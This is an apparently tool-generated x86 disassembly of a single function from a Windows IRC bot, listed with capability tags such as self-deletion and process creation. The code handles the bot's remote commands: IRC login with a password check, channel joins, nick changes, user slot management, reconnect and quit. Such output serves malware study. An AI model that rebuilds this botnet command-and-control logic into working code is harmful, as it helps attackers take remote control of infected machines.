Function at 0x10002063
Capabilities:
Create process on windows
Create thread
Resolve dns
Self delete
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9ec
push ebx
push esi
push edi
and dword [ebp - 0x334], 0
and dword [ebp - 0x338], 0
and dword [ebp - 0x53c], 0
push 0x200
push 0
lea eax, [ebp - 0x314]
push eax
call sub.CRTDLL.DLL_memset
and dword [ebp - 0x754], 0
push 0xf
push dword [ebp + 0x18]
lea eax, [ebp - 0x750]
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0x18
cmp dword [ebp + 8], 0
jne 0x100020c0
xor eax, eax
inc eax
jmp 0x1000565c
push 0x200
push 0
lea eax, [ebp - 0x538]
push eax
call sub.CRTDLL.DLL_memset
push 0x1ff
push dword [ebp + 8]
lea eax, [ebp - 0x538]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x10026cd9
lea eax, [ebp - 0x538]
push eax
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x94], eax
push 0x1ff
lea eax, [ebp - 0x538]
push eax
lea eax, [ebp - 0x740]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x10026cd7
lea eax, [ebp - 0x740]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 0x34
mov dword [ebp - 0x80], eax
xor esi, esi
inc esi
push 0x10026cd7
push 0
call sub.CRTDLL.DLL_strtok
add esp, 8
mov dword [ebp + esi*4 - 0x80], eax
inc esi
cmp esi, 0x20
jl 0x10002130
cmp dword [ebp - 0x80], 0
je 0x10002155
cmp dword [ebp - 0x7c], 0
jne 0x1000215d
xor eax, eax
inc eax
jmp 0x1000565c
mov esi, 3
cmp dword [ebp + esi*4 - 0x80], 0
jne 0x10002197
cmp dword [ebp + esi*4 - 0x84], 0
je 0x10002197
push 0x10026cd4
push dword [ebp + esi*4 - 0x84]
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000219d
mov dword [ebp - 0x334], 1
jmp 0x1000219d
inc esi
cmp esi, 0x20
jl 0x10002162
mov esi, 3
cmp dword [ebp + esi*4 - 0x80], 0
jne 0x100021d7
cmp dword [ebp + esi*4 - 0x84], 0
je 0x100021d7
push 0x10026cd1
push dword [ebp + esi*4 - 0x84]
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100021dd
mov dword [ebp - 0x338], 1
jmp 0x100021dd
inc esi
cmp esi, 0x20
jl 0x100021a2
mov eax, dword [ebp - 0x80]
cmp byte [eax], 0xa
je 0x1000221b
push 0x7f
push eax
lea eax, [ebp - 0x114]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x17
mov eax, dword [ebp - 0x80]
inc eax
push eax
lea eax, [ebp - 0x32f]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x10026ccf
lea eax, [ebp - 0x32f]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 0x20
push dword [ebp - 0x80]
push str.PING
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10002268
mov eax, dword [ebp - 0x7c]
inc eax
push eax
push str.PONG__s_r_n
push dword [ebp + 0xc]
call fcn.100056ba
add esp, 0xc
cmp dword [ebp + 0x28], 0
jne 0x10002260
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push str.JOIN__s__s_r_n
push dword [ebp + 0xc]
call fcn.10005711
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1000565c
push dword [ebp - 0x7c]
push 0x10026caf
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10002290
push dword [ebp - 0x7c]
push 0x10026cab
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100022dd
push 0x10026090
push dword [ebp + 0x18]
push str.MODE__s__s_r_n
push dword [ebp + 0xc]
call fcn.10005711
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push str.JOIN__s__s_r_n
push dword [ebp + 0xc]
call fcn.10005711
push dword [ebp + 0x18]
push str.USERHOST__s_r_n
push dword [ebp + 0xc]
call fcn.100056ba
add esp, 0x2c
mov dword [0x1002613c], 1
xor eax, eax
inc eax
jmp 0x1000565c
push dword [ebp - 0x7c]
push 0x10026c8c
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10002325
push 0x10026c8a
push dword [ebp - 0x74]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
or eax, eax
je 0x1000231d
push 0x9f
inc eax
push eax
push dword [ebp + 0x24]
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
xor eax, eax
inc eax
jmp 0x1000565c
push dword [ebp - 0x7c]
push 0x10026c86
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000235c
push dword [ebp + 0x18]
call fcn.10001d59
push dword [ebp + 0x18]
push str.NICK__s_r_n
push dword [ebp + 0xc]
call fcn.100056ba
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1000565c
xor ebx, ebx
mov esi, ebx
lea eax, [ebp - 0x114]
push eax
mov edi, esi
shl edi, 7
add edi, dword [ebp + 0x20]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000237f
xor ebx, ebx
inc ebx
inc esi
cmp esi, 4
jl 0x10002360
push dword [ebp - 0x7c]
push str.KICK
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100024a7
xor esi, esi
mov edi, esi
shl edi, 7
mov edx, dword [ebp + 0x20]
cmp byte [edx + edi], 0
je 0x1000243d
push 0x7f
mov edi, esi
shl edi, 7
add edi, dword [ebp + 0x20]
push edi
lea edi, [ebp - 0x114]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
lea eax, [ebp - 0x32f]
mov dword [ebp - 0x758], eax
or eax, eax
je 0x1000243d
cmp dword [ebp - 0x74], 0
je 0x1000243d
push dword [ebp - 0x74]
push eax
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000243d
mov edi, esi
shl edi, 7
mov edx, dword [ebp + 0x20]
mov byte [edx + edi], 0
push dword [ebp - 0x758]
push str.user__s_logged_out.
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x758]
push str.NOTICE__s_:_s_r_n
push dword [ebp + 0xc]
call fcn.10005711
lea eax, [ebp - 0x314]
push eax
call fcn.100018b6
add esp, 0x20
inc esi
cmp esi, 4
jl 0x1000239f
push dword [ebp - 0x74]
push dword [ebp + 0x18]
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000249f
and dword [ebp + 0x28], 0
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push str.JOIN__s__s_r_n
push dword [ebp + 0xc]
call fcn.10005711
lea eax, [ebp - 0x32f]
push eax
push str.screw_you__s_
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
push 0
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x2c
xor eax, eax
inc eax
jmp 0x1000565c
push dword [ebp - 0x7c]
push str.NICK
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100025df
lea eax, [ebp - 0x32f]
mov dword [ebp - 0x75c], eax
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x758], eax
cmp dword [ebp - 0x75c], 0
je 0x100025d7
or eax, eax
je 0x100025d7
push dword [ebp + 0x18]
push dword [ebp - 0x75c]
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000251a
push 0xf
push dword [ebp - 0x758]
push dword [ebp + 0x18]
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
xor eax, eax
inc eax
jmp 0x1000565c
xor esi, esi
mov edi, esi
shl edi, 7
add edi, dword [ebp + 0x20]
cmp byte [edi], 0
je 0x100025cd
lea edx, [ebp - 0x114]
push edx
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100025cd
push 0x21
lea eax, [ebp - 0x114]
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 0x7c4], eax
or eax, eax
je 0x1000258d
mov eax, dword [ebp - 0x758]
mov ecx, eax
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x1000256b
mov edi, eax
mov edx, dword [ebp - 0x7c4]
lea ecx, [edx]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x1000257f
add edi, eax
cmp edi, 0x7e
jbe 0x10002595
xor eax, eax
inc eax
jmp 0x1000565c
push dword [ebp - 0x7c4]
push dword [ebp - 0x758]
push str.:_s_s
mov edi, esi
shl edi, 7
add edi, dword [ebp + 0x20]
push edi
call fcn.100095c5
push 0
lea eax, [ebp - 0x7c0]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x20
jmp 0x100025d7
inc esi
cmp esi, 4
jl 0x1000251c
xor eax, eax
inc eax
jmp 0x1000565c
push dword [ebp - 0x7c]
push str.PART
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x1000260b
push dword [ebp - 0x7c]
push str.QUIT
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100026a9
xor esi, esi
mov edi, esi
shl edi, 7
mov edx, dword [ebp + 0x20]
cmp byte [edx + edi], 0
je 0x1000269f
push dword [ebp - 0x80]
mov edi, esi
shl edi, 7
add edi, dword [ebp + 0x20]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000269f
mov edi, esi
shl edi, 7
mov edx, dword [ebp + 0x20]
mov byte [edx + edi], 0
lea eax, [ebp - 0x32f]
push eax
push str.user__s_logged_out.
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
lea eax, [ebp - 0x314]
push eax
call fcn.100018b6
push dword [ebp - 0x7c]
push str.PART
call sub.CRTDLL.DLL_strcmp
add esp, 0x18
or eax, eax
jne 0x10002697
lea eax, [ebp - 0x314]
push eax
mov eax, dword [ebp - 0x80]
inc eax
push eax
push str.NOTICE__s_:_s_r_n
push dword [ebp + 0xc]
call fcn.10005711
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1000565c
inc esi
cmp esi, 4
jl 0x1000260d
push dword [ebp - 0x7c]
push 0x10026c2c
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10002703
push dword [ebp - 0x70]
push dword [ebp + 0x10]
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100026d8
mov eax, dword [ebp + 0x28]
mov dword [eax], 1
push dword [ebp - 0x70]
push str.joined_channel__s.
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
lea eax, [ebp - 0x314]
push eax
call fcn.100018b6
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1000565c
push dword [ebp - 0x7c]
push str.PRIVMSG
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10002748
push dword [ebp - 0x7c]
push str.NOTICE
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10002748
push dword [ebp - 0x7c]
push 0x10026c06
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000565c
jmp 0x1000565c
push dword [ebp - 0x7c]
push str.PRIVMSG
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10002774
push dword [ebp - 0x7c]
push str.NOTICE
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100028ca
push dword [ebp - 0x7c]
push str.NOTICE
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10002792
mov dword [ebp - 0x338], 1
cmp dword [ebp - 0x78], 0
jne 0x100027a0
xor eax, eax
inc eax
jmp 0x1000565c
push 0x10026c04
push dword [ebp - 0x78]
call sub.CRTDLL.DLL_strstr
add esp, 8
or eax, eax
je 0x100027bd
cmp dword [ebp - 0x338], 0
je 0x100027c6
lea eax, [ebp - 0x32f]
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x74], 0
jne 0x100027d4
xor eax, eax
inc eax
jmp 0x1000565c
inc dword [ebp - 0x74]
cmp dword [ebp - 0x74], 0
je 0x10002819
cmp dword [ebp + 0x18], 0
je 0x10002819
mov eax, dword [ebp + 0x18]
mov ecx, eax
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x100027eb
mov edi, eax
push edi
push dword [ebp - 0x74]
push dword [ebp + 0x18]
call sub.CRTDLL.DLL_strncmp
add esp, 0xc
cmp eax, 0
setne dl
and edx, 1
dec edx
and edx, 1
add edx, 3
mov dword [ebp - 0x90], edx
mov edi, dword [ebp - 0x90]
cmp dword [ebp + edi*4 - 0x80], 0
jne 0x1000282e
xor eax, eax
inc eax
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push 0x10026bfa
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100028dd
mov eax, dword [ebp - 0x78]
cmp byte [eax], 0x23
je 0x1000287c
cmp byte [0x10026116], 0
je 0x1000287c
push 0x10026116
push eax
push str.NOTICE__s_:
push dword [ebp + 0xc]
call fcn.10005711
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push 0x10026bda
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100028dd
cmp dword [ebp + edi*4 - 0x7c], eax
je 0x100028dd
mov edi, dword [ebp - 0x78]
cmp byte [edi], 0x23
je 0x100028dd
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push dword [ebp - 0x78]
push 0x10026bc3
push dword [ebp + 0xc]
call fcn.10005711
add esp, 0x10
xor eax, eax
inc eax
jmp 0x1000565c
mov dword [ebp - 0x90], 4
inc dword [ebp - 0x70]
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x78], eax
mov edi, dword [ebp - 0x90]
lea edi, [ebp + edi*4 - 0x80]
mov edx, dword [edi]
mov ecx, edx
inc ecx
mov dword [edi], ecx
movsx edi, byte [edx]
movsx edx, byte [0x10026134]
cmp edi, edx
je 0x10002904
xor eax, eax
inc eax
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.login
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10002b1c
cmp dword [ebp + edi*4 - 0x7c], eax
jne 0x10002931
xor eax, eax
inc eax
jmp 0x1000565c
or ebx, ebx
jne 0x10002949
push 0x10026c04
push dword [ebp - 0x78]
call sub.CRTDLL.DLL_strstr
add esp, 8
or eax, eax
jne 0x10002951
xor eax, eax
inc eax
jmp 0x1000565c
push 0x10026ccf
push dword [ebp - 0x80]
call sub.CRTDLL.DLL_strtok
mov edi, eax
inc edi
mov dword [ebp - 0x75c], edi
push 0x10026f26
push 0
call sub.CRTDLL.DLL_strtok
mov dword [ebp - 0x758], eax
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push str.set_me
call sub.CRTDLL.DLL_strcmp
add esp, 0x18
or eax, eax
je 0x100029f0
lea eax, [ebp - 0x32f]
push eax
push str.NOTICE__s_:pass_auth_failed._r_n
push dword [ebp + 0xc]
call fcn.100056ba
lea eax, [ebp - 0x32f]
push eax
push str.NOTICE__s_:your_attempt_has_been_logged._r_n
push dword [ebp + 0xc]
call fcn.100056ba
push dword [ebp - 0x758]
push dword [ebp - 0x75c]
push str.failed_pass_auth_by__s__s_.
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
lea eax, [ebp - 0x314]
push eax
call fcn.100018b6
add esp, 0x2c
xor eax, eax
inc eax
jmp 0x1000565c
push dword [ebp - 0x758]
call pe_dos_header
pop ecx
or eax, eax
jne 0x10002a5c
lea eax, [ebp - 0x32f]
push eax
push str.NOTICE__s_:host_auth_failed._r_n
push dword [ebp + 0xc]
call fcn.100056ba
lea eax, [ebp - 0x32f]
push eax
push str.NOTICE__s_:your_attempt_has_been_logged._r_n
push dword [ebp + 0xc]
call fcn.100056ba
push dword [ebp - 0x758]
push dword [ebp - 0x75c]
push str.failed_host_auth_by__s__s_.
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
lea eax, [ebp - 0x314]
push eax
call fcn.100018b6
add esp, 0x2c
xor eax, eax
inc eax
jmp 0x1000565c
xor esi, esi
mov edi, dword [ebp - 0x90]
cmp dword [ebp + edi*4 - 0x7c], 0
jne 0x10002a73
xor eax, eax
inc eax
jmp 0x1000565c
mov edi, esi
shl edi, 7
mov edx, dword [ebp + 0x20]
cmp byte [edx + edi], 0
jne 0x10002b0a
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
push str.set_me
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10002b0a
push 0x7f
lea eax, [ebp - 0x114]
push eax
mov edi, esi
shl edi, 7
add edi, dword [ebp + 0x20]
push edi
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
cmp dword [ebp - 0x334], 0
jne 0x10002adc
push dword [ebp - 0x338]
push str.password_accepted.
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
push dword [ebp - 0x758]
push dword [ebp - 0x75c]
push str.user__s__s__logged_in.
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
lea eax, [ebp - 0x314]
push eax
call fcn.100018b6
add esp, 0x14
jmp 0x10002b14
inc esi
cmp esi, 4
jl 0x10002a5e
xor eax, eax
inc eax
jmp 0x1000565c
or ebx, ebx
jne 0x10002b38
push dword [ebp - 0x7c]
push 0x10026c06
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000565c
xor esi, esi
jmp 0x10002d2e
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
imul edi, esi, 0xb8
lea edi, [edi + 0x1000f05c]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10002d2d
push 0x10026cd9
push dword [ebp + 8]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x758], eax
or eax, eax
jne 0x10002b87
inc eax
jmp 0x1000565c
mov eax, dword [ebp - 0x758]
mov dl, byte [0x10026134]
mov byte [eax + 2], dl
mov dl, byte [0x10026134]
mov byte [eax + 3], dl
push 0x9f
imul eax, esi, 0xb8
lea eax, [eax + 0x1000f074]
push eax
mov eax, dword [ebp - 0x758]
add eax, 4
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
mov ebx, 0xf
push ebx
push str.__d_
lea eax, [ebp - 0x8c]
push eax
call fcn.100095c5
lea eax, [ebp - 0x8c]
push eax
push dword [ebp + 8]
call sub.CRTDLL.DLL_strstr
add esp, 0x14
or eax, eax
je 0x10002c79
mov edi, dword [ebp - 0x90]
add edi, ebx
cmp dword [ebp + edi*4 - 0x7c], 0
je 0x10002c79
imul eax, esi, 0xb8
lea ecx, [eax + 0x1000f05c]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10002c14
mov edi, eax
add edi, dword [ebp - 0x94]
mov dword [ebp - 0x94], edi
cmp dword [ebp - 0x94], 0
je 0x10002cbd
mov edi, dword [ebp - 0x90]
add edi, ebx
push dword [ebp + edi*4 - 0x80]
push dword [ebp - 0x94]
call sub.CRTDLL.DLL_strstr
add esp, 8
mov dword [ebp - 0x75c], eax
cmp dword [ebp - 0x75c], 0
je 0x10002cbd
push dword [ebp - 0x75c]
lea eax, [ebp - 0x8c]
push eax
push dword [ebp + 8]
call fcn.100057df
add esp, 0xc
jmp 0x10002cbd
mov edi, dword [ebp - 0x90]
add edi, ebx
cmp dword [ebp + edi*4 - 0x7c], 0
jne 0x10002cbd
push 2
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0x317]
push eax
call sub.CRTDLL.DLL_strncpy
mov byte [ebp - 0x315], 0
lea eax, [ebp - 0x317]
push eax
lea eax, [ebp - 0x8c]
push eax
push dword [ebp + 8]
call fcn.100057df
add esp, 0x18
dec ebx
jg 0x10002bc9
mov ebx, 0x10
push ebx
push 0x10026ae7
lea eax, [ebp - 0x8c]
push eax
call fcn.100095c5
lea eax, [ebp - 0x8c]
push eax
push dword [ebp + 8]
call sub.CRTDLL.DLL_strstr
add esp, 0x14
or eax, eax
je 0x10002d1e
mov edi, dword [ebp - 0x90]
add edi, ebx
cmp dword [ebp + edi*4 - 0x80], 0
je 0x10002d1e
mov edi, dword [ebp - 0x90]
add edi, ebx
push dword [ebp + edi*4 - 0x80]
lea edi, [ebp - 0x8c]
push edi
push dword [ebp + 8]
call fcn.100057df
add esp, 0xc
dec ebx
jg 0x10002cc9
mov dword [ebp - 0x53c], 1
jmp 0x10002d3a
inc esi
cmp esi, dword [0x10026138]
jl 0x10002b3f
mov edi, dword [ebp - 0x90]
mov edi, dword [ebp + edi*4 - 0x80]
movsx edi, byte [edi]
movsx ebx, byte [0x10026134]
cmp edi, ebx
je 0x10002d5f
cmp dword [ebp - 0x53c], 0
je 0x10002f65
push dword [ebp + 0x18]
push 0x10026ae3
push dword [ebp + 8]
call fcn.100057df
lea eax, [ebp - 0x32f]
push eax
push str._user
push dword [ebp + 8]
call fcn.100057df
push dword [ebp - 0x78]
push str._chan
push dword [ebp + 8]
call fcn.100057df
lea eax, [ebp - 0x8c]
push eax
call fcn.10001d59
push eax
push str._rndnick
push dword [ebp + 8]
call fcn.100057df
push dword [ebp + 0x1c]
push str._server
push dword [ebp + 8]
call fcn.100057df
add esp, 0x40
jmp 0x10002ecc
push str._chr_
push dword [ebp + 8]
call sub.CRTDLL.DLL_strstr
mov dword [ebp - 0x758], eax
push 4
add eax, 5
push eax
lea eax, [ebp - 0x8c]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x10026abe
lea eax, [ebp - 0x8c]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 0x1c
mov al, byte [ebp - 0x8c]
cmp al, 0x30
jl 0x10002e0c
cmp al, 0x39
jle 0x10002e22
push 3
push 0x10026abb
lea eax, [ebp - 0x8c]
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
lea eax, [ebp - 0x8c]
push eax
call sub.CRTDLL.DLL_atoi
pop ecx
or eax, eax
jle 0x10002e4a
lea eax, [ebp - 0x8c]
push eax
call sub.CRTDLL.DLL_atoi
pop ecx
mov ebx, eax
mov byte [ebp - 0x317], bl
jmp 0x10002e64
call sub.CRTDLL.DLL_rand
mov ecx, 0x60
cdq
idiv ecx
mov edi, edx
add edi, 0x20
mov ebx, edi
mov byte [ebp - 0x317], bl
mov byte [ebp - 0x316], 0
lea ecx, [ebp - 0x8c]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x10002e74
mov dword [ebp - 0x540], eax
push 0xc
push 0
lea eax, [ebp - 0x8c]
push eax
call sub.CRTDLL.DLL_memset
add esp, 0xc
mov eax, dword [ebp - 0x540]
add eax, 6
push eax
push dword [ebp - 0x758]
lea eax, [ebp - 0x8c]
push eax
call sub.CRTDLL.DLL_strncpy
add esp, 0xc
lea eax, [ebp - 0x317]
push eax
lea eax, [ebp - 0x8c]
push eax
push dword [ebp + 8]
call fcn.100057df
add esp, 0xc
push str._chr_
push dword [ebp + 8]
call sub.CRTDLL.DLL_strstr
add esp, 8
or eax, eax
jne 0x10002dc5
push 0x1ff
push dword [ebp + 8]
lea eax, [ebp - 0x538]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x1ff
lea eax, [ebp - 0x538]
push eax
lea eax, [ebp - 0x740]
push eax
call sub.CRTDLL.DLL_strncpy
push 0x10026cd7
lea eax, [ebp - 0x740]
push eax
call sub.CRTDLL.DLL_strtok
add esp, 0x20
mov dword [ebp - 0x80], eax
xor esi, esi
inc esi
push 0x10026cd7
push 0
call sub.CRTDLL.DLL_strtok
add esp, 8
mov dword [ebp + esi*4 - 0x80], eax
inc esi
cmp esi, 0x20
jl 0x10002f2a
mov edi, dword [ebp - 0x90]
cmp dword [ebp + edi*4 - 0x80], 0
jne 0x10002f58
xor eax, eax
inc eax
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
lea edi, [ebp + edi*4 - 0x80]
add dword [edi], 3
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.rndnick
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10002f95
push dword [ebp + edi*4 - 0x80]
push 0x10026ab0
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10002fbd
lea eax, [ebp - 0x750]
push eax
call fcn.10001d59
lea eax, [ebp - 0x750]
push eax
push str.NICK__s_r_n
push dword [ebp + 0xc]
call fcn.100056ba
add esp, 0x10
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push 0x10026aac
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10002fed
push dword [ebp + edi*4 - 0x80]
push 0x10026aaa
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003012
push dword [ebp - 0x7c]
push 0x10026c06
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x1000565c
push 0
call sub.CRTDLL.DLL_exit
pop ecx
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.logout
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003042
push dword [ebp + edi*4 - 0x80]
push 0x10026aa0
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100030bf
xor esi, esi
push dword [ebp - 0x80]
mov edi, esi
shl edi, 7
add edi, dword [ebp + 0x20]
push edi
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x100030b4
mov edi, esi
shl edi, 7
mov ebx, dword [ebp + 0x20]
mov byte [ebx + edi], 0
lea eax, [ebp - 0x32f]
push eax
push str.user__s_logged_out._r_n
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
add esp, 0xc
cmp dword [ebp - 0x334], 0
jne 0x100030a7
push dword [ebp - 0x338]
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
lea eax, [ebp - 0x314]
push eax
call fcn.100018b6
pop ecx
inc esi
cmp esi, 4
jl 0x10003044
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push 0x10026a86
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003149
xor esi, esi
mov edi, esi
shl edi, 7
mov ebx, dword [ebp + 0x20]
cmp byte [ebx + edi], 0
je 0x1000310e
mov edi, esi
shl edi, 7
mov ebx, dword [ebp + 0x20]
lea edi, [edi + ebx + 1]
push edi
push esi
push str._d:__s_r_n
lea edi, [ebp - 0x314]
push edi
call fcn.100095c5
add esp, 0x10
jmp 0x10003123
push esi
push str._d:__FREE_SLOT__r_n
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
add esp, 0xc
push dword [ebp - 0x338]
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
inc esi
cmp esi, 4
jl 0x100030dc
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push 0x10026a67
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003200
xor esi, esi
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x7c]
call sub.CRTDLL.DLL_atoi
pop ecx
cmp esi, eax
jne 0x100031f1
mov edi, esi
shl edi, 7
mov ebx, dword [ebp + 0x20]
cmp byte [ebx + edi], 0
je 0x100031bc
mov edi, esi
shl edi, 7
mov ebx, dword [ebp + 0x20]
lea edi, [edi + ebx + 1]
push edi
push esi
push str.The_slot__d_has_been_freed___s_has_been_logged_out_
lea edi, [ebp - 0x314]
push edi
call fcn.100095c5
add esp, 0x10
mov edi, esi
shl edi, 7
mov ebx, dword [ebp + 0x20]
mov byte [ebx + edi], 0
jmp 0x100031d1
push esi
push str.The_slot__d_is_already_free_r_n
lea eax, [ebp - 0x314]
push eax
call fcn.100095c5
add esp, 0xc
push dword [ebp - 0x338]
lea eax, [ebp - 0x314]
push eax
push dword [ebp - 0x78]
push dword [ebp + 0xc]
call fcn.1000576b
add esp, 0x10
jmp 0x1000565c
inc esi
cmp esi, 4
jl 0x1000316a
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.reconnect
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003230
push dword [ebp + edi*4 - 0x80]
push 0x10026a09
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x10003247
push str.QUIT_:reconnecting
push dword [ebp + 0xc]
call fcn.10005661
add esp, 8
xor eax, eax
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.disconnect
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
je 0x10003277
push dword [ebp + edi*4 - 0x80]
push 0x10026aaa
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
jne 0x1000328f
push str.QUIT_:later
push dword [ebp + 0xc]
call fcn.10005661
add esp, 8
or eax, 0xffffffff
jmp 0x1000565c
mov edi, dword [ebp - 0x90]
push dword [ebp + edi*4 - 0x80]
push str.quit
call sub.CRTDLL.DLL_strcmp
add esp, 8
or eax, eax
